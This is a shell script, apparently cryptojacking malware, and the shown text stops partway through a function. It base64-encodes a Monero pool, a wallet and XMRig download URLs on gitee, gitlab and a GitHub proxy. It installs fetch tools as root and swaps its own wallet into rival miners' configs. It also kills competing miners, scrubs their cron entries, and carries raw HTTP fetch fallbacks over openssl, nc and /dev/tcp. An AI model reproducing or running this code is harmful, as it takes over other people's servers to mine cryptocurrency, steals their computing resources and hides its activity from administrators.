1
#!/bin/sh
2
_d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
3
#!/bin/sh
4
if [ -z "$BASH_VERSION" ]; then
5
  case "$0" in
6
    /*|./*)
7
      if command -v bash >/dev/null 2>&1; then
8
        exec bash "$0" "$@"
9
      fi
10
    ;;
11
  esac
12
fi
13
_c1="${1:-x}"
14
_c2=$(_d 'aHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9u')
15
_c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
16
_c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
17
_c5=$(_d 'Z29Bd2dCQ0ZI')
18
_c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
19
_c7=$(_d 'aHR0cHM6Ly9naXRlZS5jb20vYWxiZXJ0b3RyaW5kYWRlMTMxX3BuZy94bXJpZy9yYXcvbWFpbi94bXJpZw==')
20
_c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
21
_c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
22
log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
23
_preflight() {
24
  _pf_need_fetch=1  # always need HTTP fetch capability
25
  # Determine what we have
26
  _check_tools() {
27
    _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
28
    command -v curl    >/dev/null 2>&1 && _pf_has_curl=1
29
    command -v wget    >/dev/null 2>&1 && _pf_has_wget=1
30
    command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
31
    command -v perl    >/dev/null 2>&1 && _pf_has_perl=1
32
  }
33
  _check_tools
34
  # Can we fetch?
35
  _pf_can_fetch() {
36
    # curl or wget alone is sufficient
37
    [ "$_pf_has_curl" = "1" ] && return 0
38
    [ "$_pf_has_wget" = "1" ] && return 0
39
    # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
40
    [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
41
    return 1
42
  }
43
  # If we can't fetch, try to install as root
44
  if ! _pf_can_fetch; then
45
    log "PREFLIGHT: missing HTTP fetch capability"
46
    if [ "$(id -u)" = "0" ]; then
47
      log "Running as root — installing missing components..."
48
      _pf_installed=0
49
      # Try package managers in order of preference: curl first (simplest),
50
      # then wget, then openssl+perl
51
      if command -v apk >/dev/null 2>&1; then
52
        # Alpine: prefer curl, then wget
53
        if [ "$_pf_installed" = "0" ]; then
54
          log "  trying apk add curl..."
55
          apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
56
        fi
57
        if [ "$_pf_installed" = "0" ]; then
58
          log "  trying apk add wget..."
59
          apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
60
        fi
61
        if [ "$_pf_installed" = "0" ]; then
62
          log "  trying apk add openssl perl..."
63
          apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
64
        fi
65
      elif command -v apt-get >/dev/null 2>&1; then
66
        # Debian/Ubuntu: prefer curl, then wget
67
        apt-get update -qq >/dev/null 2>&1
68
        if [ "$_pf_installed" = "0" ]; then
69
          log "  trying apt-get install curl..."
70
          apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
71
        fi
72
        if [ "$_pf_installed" = "0" ]; then
73
          log "  trying apt-get install wget..."
74
          apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
75
        fi
76
        if [ "$_pf_installed" = "0" ]; then
77
          log "  trying apt-get install openssl perl..."
78
          apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
79
        fi
80
      elif command -v yum >/dev/null 2>&1; then
81
        # RHEL/CentOS
82
        if [ "$_pf_installed" = "0" ]; then
83
          log "  trying yum install curl..."
84
          yum install -y curl >/dev/null 2>&1 && _pf_installed=1
85
        fi
86
        if [ "$_pf_installed" = "0" ]; then
87
          log "  trying yum install wget..."
88
          yum install -y wget >/dev/null 2>&1 && _pf_installed=1
89
        fi
90
      elif command -v dnf >/dev/null 2>&1; then
91
        # Fedora
92
        if [ "$_pf_installed" = "0" ]; then
93
          log "  trying dnf install curl..."
94
          dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
95
        fi
96
      fi
97
      # Re-check after install
98
      _check_tools
99
      if _pf_can_fetch; then
100
        log "PREFLIGHT: install succeeded"
101
      else
102
        log "PREFLIGHT FAIL: could not install fetch tools. Exiting."
103
        exit 0
104
      fi
105
    else
106
      log "PREFLIGHT FAIL: no curl/wget/(openssl+perl), not root — cannot install. Exiting."
107
      exit 0
108
    fi
109
  fi
110
  # Report what we have
111
  _pf_tools=""
112
  [ "$_pf_has_curl" = "1" ]    && _pf_tools="$_pf_tools curl"
113
  [ "$_pf_has_wget" = "1" ]    && _pf_tools="$_pf_tools wget"
114
  [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
115
  [ "$_pf_has_perl" = "1" ]    && _pf_tools="$_pf_tools perl"
116
  log "PREFLIGHT OK: fetch available via:$_pf_tools"
117
}
118
_preflight
119

120
_q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
121

122
_z7() {
123
    _r1="${1:-/var/tmp/.odoo_pg_health.json}"
124
    _r2="${2:-/var/tmp/.odoo_pg_start}"
125
    _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
126
    _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
127
    _h1 "$_r1" "$_s1"
128
    _h1 "$_r2" "$_s2"
129
    return 0
130
}
131

132
_h1() {
133
    _f0="$1"
134
    _p0="$2"
135
    _t0="${_f0}.$$"
136
    command -v sed >/dev/null 2>&1 || return 0
137
    command -v cat >/dev/null 2>&1 || return 0
138
    [ -f "$_f0" ] || return 0
139
    [ -r "$_f0" ] || return 0
140
    [ -w "$_f0" ] || return 0
141
    if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
142
        if cat "$_t0" > "$_f0" 2>/dev/null; then
143
            :
144
        fi
145
    fi
146
    rm -f "$_t0" 2>/dev/null || :
147
    return 0
148
}
149

150
mask_enemy() { _z7 "$@"; }
151

152

153
detect_kill_unicorn() {
154
    _dk_uid=$(id -u 2>/dev/null || echo 0)
155
    _dk_user=$(id -un 2>/dev/null || echo "")
156
    [ "$_dk_uid" -ne 0 ] || return 2
157
    [ "$_dk_user" = "postgres" ] || return 2
158

159
    _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
160
    [ -n "$_dk_home" ] || _dk_home=$(awk -F: -v u="$_dk_user" '$1==u{print $6}' /etc/passwd 2>/dev/null)
161
    [ -n "$_dk_home" ] || _dk_home="${HOME:-/var/lib/postgresql}"
162
    _dk_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|53535'
163
    _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50'
164
    _dk_pids=""
165
    _dk_exes=""
166
    _dk_crons=""
167
    _dk_children=""
168
    _dk_netpids=""
169
    _dk_dirs=""
170

171
    for _dk_proc in /proc/[0-9]*; do
172
        [ -d "$_dk_proc" ] || continue
173
        _dk_pid=${_dk_proc#/proc/}
174
        [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
175
        [ "$_dk_pid" = "$$" ] && continue
176
        [ -r "$_dk_proc/comm" ] || continue
177
        [ "$(cat "$_dk_proc/comm" 2>/dev/null)" = "unicorn" ] || continue
178
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
179
        [ "$_dk_owner" = "$_dk_uid" ] || continue
180
        _dk_cpu=$(ps -o pcpu= -p "$_dk_pid" 2>/dev/null | awk 'NR==1{print $1+0}')
181
        [ -n "$_dk_cpu" ] || continue
182
        [ "$(printf '%s\n' "$_dk_cpu" | awk '{printf "%d",$1+0}')" -gt 90 ] 2>/dev/null || continue
183
        _dk_pids="$_dk_pids $_dk_pid"
184
        _dk_exe=$(readlink "$_dk_proc/exe" 2>/dev/null)
185
        [ -n "$_dk_exe" ] && _dk_exes="$_dk_exes $_dk_exe"
186
    done
187

188
    for _dk_proc in /proc/[0-9]*; do
189
        [ -d "$_dk_proc" ] || continue
190
        _dk_pid=${_dk_proc#/proc/}
191
        [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
192
        [ "$_dk_pid" = "$$" ] && continue
193
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
194
        [ "$_dk_owner" = "$_dk_uid" ] || continue
195
        [ -r "$_dk_proc/cmdline" ] || continue
196
        _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
197
        _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
198
        _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
199
        _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
200
        [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
201
        [ "$_dk_a1" = "jobs" ] || continue
202
        [ -z "$_dk_a2" ] || continue
203
        _dk_crons="$_dk_crons $_dk_pid"
204
        _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
205
        [ -n "$_dk_cwd" ] && _dk_dirs="$_dk_dirs $_dk_cwd"
206
        _dk_exe=$(readlink "$_dk_proc/exe" 2>/dev/null)
207
        [ -n "$_dk_exe" ] && _dk_exes="$_dk_exes $_dk_exe"
208
    done
209

210
    for _dk_round in 1 2 3; do
211
        for _dk_proc in /proc/[0-9]*; do
212
            [ -d "$_dk_proc" ] || continue
213
            _dk_pid=${_dk_proc#/proc/}
214
            [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
215
            [ "$_dk_pid" = "$$" ] && continue
216
            _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
217
            [ "$_dk_owner" = "$_dk_uid" ] || continue
218
            _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
219
            case " $_dk_crons $_dk_children " in
220
                *" $_dk_pp "*)
221
                    case " $_dk_crons $_dk_children " in
222
                        *" $_dk_pid "*) ;;
223
                        *) _dk_children="$_dk_children $_dk_pid" ;;
224
                    esac
225
                    ;;
226
            esac
227
        done
228
    done
229

230
    for _dk_proc in /proc/[0-9]*; do
231
        [ -d "$_dk_proc" ] || continue
232
        _dk_pid=${_dk_proc#/proc/}
233
        [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
234
        [ "$_dk_pid" = "$$" ] && continue
235
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
236
        [ "$_dk_owner" = "$_dk_uid" ] || continue
237
        [ -r "$_dk_proc/cmdline" ] || continue
238
        _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
239
        case "$_dk_cmd" in
240
            *apt-update.com*|*joker.aec944b68370194a50.link*|*95.85.237.226*|*193.41.68.194*|*95.85.237.149*|*2.26.99.68*|*210.195.19.39*)
241
                _dk_netpids="$_dk_netpids $_dk_pid"
242
                ;;
243
        esac
244
    done
245

246
    for _dk_pid in $_dk_children $_dk_netpids $_dk_crons $_dk_pids; do
247
        kill -TERM "$_dk_pid" 2>/dev/null
248
    done
249
    [ -n "$_dk_children$_dk_netpids$_dk_crons$_dk_pids" ] && sleep 1 2>/dev/null
250

251
    for _dk_sp in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
252
        [ -f "$_dk_sp" ] || continue
253
        [ -O "$_dk_sp" ] || continue
254
        grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_sp" 2>/dev/null || continue
255
        chattr -f -ia "$_dk_sp" 2>/dev/null
256
    done
257

258
    if command -v crontab >/dev/null 2>&1; then
259
        _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
260
        if crontab -l 2>/dev/null > "$_dk_ct"; then
261
            if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
262
                grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab - 2>/dev/null
263
                echo "[dk] scrubbed malware crontab entries"
264
            fi
265
        fi
266
        rm -f "$_dk_ct" 2>/dev/null
267
    fi
268

269
    for _dk_d in "$_dk_home/.claude" "$_dk_home" /tmp/.claude /tmp /dev/shm/.claude /dev/shm /var/tmp/.claude /var/tmp /run/lock/.claude /run/lock /var/run/.claude /var/run /run/shm/.claude /run/shm "$PWD/.claude" "$PWD" $_dk_dirs; do
270
        [ -d "$_dk_d" ] || continue
271
        _dk_bad=0
272
        [ -f "$_dk_d/config.json" ] && grep -Eq "$_dk_ioc" "$_dk_d/config.json" 2>/dev/null && _dk_bad=1
273
        [ -f "$_dk_d/CRON" ] && [ -f "$_dk_d/jobs" ] && _dk_bad=1
274
        [ -f "$_dk_d/pwb" ] && [ -f "$_dk_d/jobs" ] && _dk_bad=1
275
        [ "$_dk_bad" = 1 ] || continue
276
        for _dk_f in unicorn CRON jobs pwb; do
277
            _dk_path="$_dk_d/$_dk_f"
278
            [ -e "$_dk_path" ] || continue
279
            [ -O "$_dk_path" ] || continue
280
            chattr -f -ia "$_dk_path" 2>/dev/null
281
            rm -f "$_dk_path" 2>/dev/null
282
        done
283
        _dk_cf="$_dk_d/config.json"
284
        if [ -f "$_dk_cf" ] && [ -O "$_dk_cf" ] && grep -Eq "$_dk_ioc" "$_dk_cf" 2>/dev/null; then
285
            chattr -f -ia "$_dk_cf" 2>/dev/null
286
            printf '%s\n' '{"autosave":false,"background":true,"cpu":{"enabled":false},"opencl":{"enabled":false},"cuda":{"enabled":false},"pools":[{"url":"127.0.0.1:1","user":"blocked","pass":"blocked","enabled":true}],"retry-pause":9999,"watch":false}' > "$_dk_cf" 2>/dev/null
287
            chmod 555 "$_dk_cf" 2>/dev/null
288
            chattr +i "$_dk_cf" 2>/dev/null
289
            echo "[dk] neutralized config: $_dk_cf"
290
        fi
291
    done
292

293
    for _dk_exe in $_dk_exes; do
294
        [ -f "$_dk_exe" ] || continue
295
        [ -O "$_dk_exe" ] || continue
296
        chattr -f -ia "$_dk_exe" 2>/dev/null
297
        rm -f "$_dk_exe" 2>/dev/null
298
    done
299

300
    sleep 1 2>/dev/null
301
    for _dk_pid in $_dk_children $_dk_netpids $_dk_pids $_dk_crons; do
302
        kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null
303
    done
304

305
    _dk_left=""
306
    for _dk_proc in /proc/[0-9]*; do
307
        [ -d "$_dk_proc" ] || continue
308
        _dk_pid=${_dk_proc#/proc/}
309
        [ "$(cat "$_dk_proc/comm" 2>/dev/null)" = "unicorn" ] || continue
310
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
311
        [ "$_dk_owner" = "$_dk_uid" ] || continue
312
        _dk_cpu=$(ps -o pcpu= -p "$_dk_pid" 2>/dev/null | awk 'NR==1{print $1+0}')
313
        [ "$(printf '%s\n' "$_dk_cpu" | awk '{printf "%d",$1+0}')" -gt 90 ] 2>/dev/null && _dk_left="$_dk_left $_dk_pid"
314
    done
315

316
    for _dk_proc in /proc/[0-9]*; do
317
        [ -d "$_dk_proc" ] || continue
318
        _dk_pid=${_dk_proc#/proc/}
319
        _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
320
        [ "$_dk_owner" = "$_dk_uid" ] || continue
321
        [ -r "$_dk_proc/cmdline" ] || continue
322
        _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
323
        _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
324
        _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
325
        _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
326
        [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] && [ "$_dk_a1" = "jobs" ] && [ -z "$_dk_a2" ] && _dk_left="$_dk_left $_dk_pid"
327
    done
328

329
    [ -z "$_dk_left" ] || { echo "[dk] WARNING survivors:$_dk_left"; return 1; }
330
    echo "[dk] cleanup complete"
331
    return 0
332
}
333

334

335
detect_kill_unicorn
336

337
http_get() {
338
  _hg_url="$1"; _hg_follow=0
339
  while [ "$_hg_follow" -lt 5 ]; do
340
    _hg_follow=$((_hg_follow + 1))
341
    _hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
342
    _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
343
    [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
344
    _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
345
    [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
346
    _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
347
    printf 'GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
348
      "$_hg_path" "$_hg_host" > "$_hg_req"
349
    if [ "${_hg_url#https://}" != "$_hg_url" ]; then
350
      # HTTPS — openssl s_client with SNI
351
      openssl s_client -connect "${_hg_ip}:443" -servername "$_hg_host" -quiet \
352
        < "$_hg_req" > "$_hg_raw" 2>/dev/null
353
    else
354
      # Plain HTTP — use nc (netcat) if available (works on Alpine)
355
      if command -v nc >/dev/null 2>&1; then
356
        cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
357
      elif [ -n "$BASH_VERSION" ]; then
358
        # bash /dev/tcp fallback
359
        exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
360
        cat "$_hg_req" >&3
361
        cat <&3 > "$_hg_raw" 2>/dev/null
362
        exec 3>&-
363
      else
364
        # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
365
        cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
366
      fi
367
    fi
368
    _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
369
    case "$_hg_status" in
370
      301|302|303|307|308)
371
        _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
372
        rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
373
        [ -z "$_hg_loc" ] && return 1
374
        case "$_hg_loc" in
375
          /*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
376
          http://*|https://*) ;;
377
          *) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
378
        esac
379
        _hg_url="$_hg_loc"
380
        continue
381
      ;;
382
    esac
383
    tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
384
      if (/^(.*?)\n\n(.*)$/s) {
385
        my ($h, $b) = ($1, $2);
386
        if ($h =~ /transfer-encoding:\s*chunked/i) {
387
          my $out = "";
388
          while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
389
            my $sz = hex($1); last if $sz == 0;
390
            $b = $2; $out .= substr($b, 0, $sz);
391
            $b = substr($b, $sz); $b =~ s/^\n//;
392
          }
393
          print $out;
394
        } else { print $b; }
395
      }
396
    ' | grep -v '^[0-9a-fA-F]*$'
397
    rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
398
    return 0
399
  done
400
  return 1
401
}
402
http_get_bin() {
403
  _hg_url="$1"; _hg_out="$2"; _hg_follow=0
404
  while [ "$_hg_follow" -lt 5 ]; do
405
    _hg_follow=$((_hg_follow + 1))
406
    _hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
407
    _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
408
    [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
409
    _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
410
    [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
411
    _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
412
    printf 'GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
413
      "$_hg_path" "$_hg_host" > "$_hg_req"
414
    if [ "${_hg_url#https://}" != "$_hg_url" ]; then
415
      # HTTPS — openssl s_client with SNI
416
      openssl s_client -connect "${_hg_ip}:443" -servername "$_hg_host" -quiet \
417
        < "$_hg_req" > "$_hg_raw" 2>/dev/null
418
    else
419
      # Plain HTTP — nc or bash /dev/tcp
420
      if command -v nc >/dev/null 2>&1; then
421
        cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
422
      elif [ -n "$BASH_VERSION" ]; then
423
        exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
424
        cat "$_hg_req" >&3
425
        cat <&3 > "$_hg_raw" 2>/dev/null
426
        exec 3>&-
427
      else
428
        cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
429
      fi
430
    fi
431
    _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
432
    case "$_hg_status" in
433
      301|302|303|307|308)
434
        _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
435
        rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
436
        [ -z "$_hg_loc" ] && return 1
437
        case "$_hg_loc" in
438
          /*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
439
          http://*|https://*) ;;
440
          *) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
441
        esac
442
        _hg_url="$_hg_loc"
443
        continue
444
      ;;
445
    esac
446
    perl -0777 -ne '
447
      if (/^(.*?)\r\n\r\n(.*)$/s) {
448
        my ($h, $b) = ($1, $2);
449
        $h =~ s/\r//g;
450
        if ($h =~ /transfer-encoding:\s*chunked/i) {
451
          my $out = "";
452
          while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
453
            my $sz = hex($1); last if $sz == 0;
454
            $b = $2; $out .= substr($b, 0, $sz);
455
            $b = substr($b, $sz); $b =~ s/^\r?\n//;
456
          }
457
          print $out;
458
        } else { print $b; }
459
      }
460
    ' < "$_hg_raw" > "$_hg_out"
461
    rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
462
    [ -s "$_hg_out" ] && return 0 || return 1
463
  done
464
  return 1
465
}
466
fetch_url() {
467
  _fu_url="$1"
468
  if command -v curl >/dev/null 2>&1; then
469
    curl -fsSLk --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
470
  elif command -v wget >/dev/null 2>&1; then
471
    wget -qO- --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
472
  else
473
    http_get "$_fu_url"
474
  fi
475
}
476
fetch_file() {
477
  _ff_url="$1"; _ff_out="$2"
478
  if command -v curl >/dev/null 2>&1; then
479
    curl -fLk --silent --show-error --connect-timeout 10 --max-time 120 \
480
      --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
481
  elif command -v wget >/dev/null 2>&1; then
482
    wget -q --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
483
  else
484
    http_get_bin "$_ff_url" "$_ff_out"
485
  fi
486
}
487
_is_excluded() {
488
  _ie_cmdline="$1"
489
  for _ie_pat in $_c6; do
490
    case "$_ie_cmdline" in
491
      *"$_ie_pat"*) return 0 ;;
492
    esac
493
  done
494
  return 1
495
}
496
kill_themf() {
497
  (
498
    set +e
499
    _kt_threshold=7
500
    for _kt_proc in /proc/[0-9]*; do
501
      [ -r "$_kt_proc/status" ] || continue
502
      _kt_pid="${_kt_proc#/proc/}"
503
      _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
504
      # Exclude our miner
505
      _is_excluded "$_kt_cmdline" && continue
506
      _kt_score=0
507
      _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
508
      _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
509
      _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
510
      _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
511
      _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
512
      _kt_rss=${_kt_rss:-0}
513
      _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
514
      [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
515
      [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
516
      [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
517
      _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
518
      [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
519
      [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
520
      _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
521
      if [ "$_kt_user" != root ]; then
522
        case "$_kt_state" in
523
          S*) _kt_score=$((_kt_score + 1)) ;;
524
        esac
525
      fi
526
      case "$_kt_exe" in
527
        /tmp/*|/var/tmp/*|/dev/shm/*)
528
          _kt_score=$((_kt_score + 4)) ;;
529
        "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
530
          _kt_score=$((_kt_score + 4)) ;;
531
      esac
532
      [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
533
      if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
534
        echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
535
        kill -9 "$_kt_pid" 2>/dev/null
536
      fi
537
    done
538
  )
539
  return 0
540
}
541
kill_mf3() {
542
  (
543
    set +e
544
    _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
545
    _km_skip="$_c5"
546
    _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
547
    _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
548
    # Tier 1: watchdogs + grep scanner
549
    _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
550
    # Tier 2: miners
551
    _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
552
    _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
553
    _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
554
    # T1: SIGTERM then SIGKILL
555
    _km_t1p=$(_km_pids_of "$_km_t1")
556
    _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
557
    _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
558
    if [ -n "$_km_list" ]; then
559
      kill -TERM $_km_list 2>/dev/null; sleep 1
560
      for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
561
    fi
562
    # T2: SIGTERM then SIGKILL
563
    _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
564
    if [ -n "$_km_list" ]; then
565
      kill -TERM $_km_list 2>/dev/null; sleep 2
566
      for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
567
    fi
568
    # T3: orphans
569
    sleep 1
570
    _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
571
    [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
572
  )
573
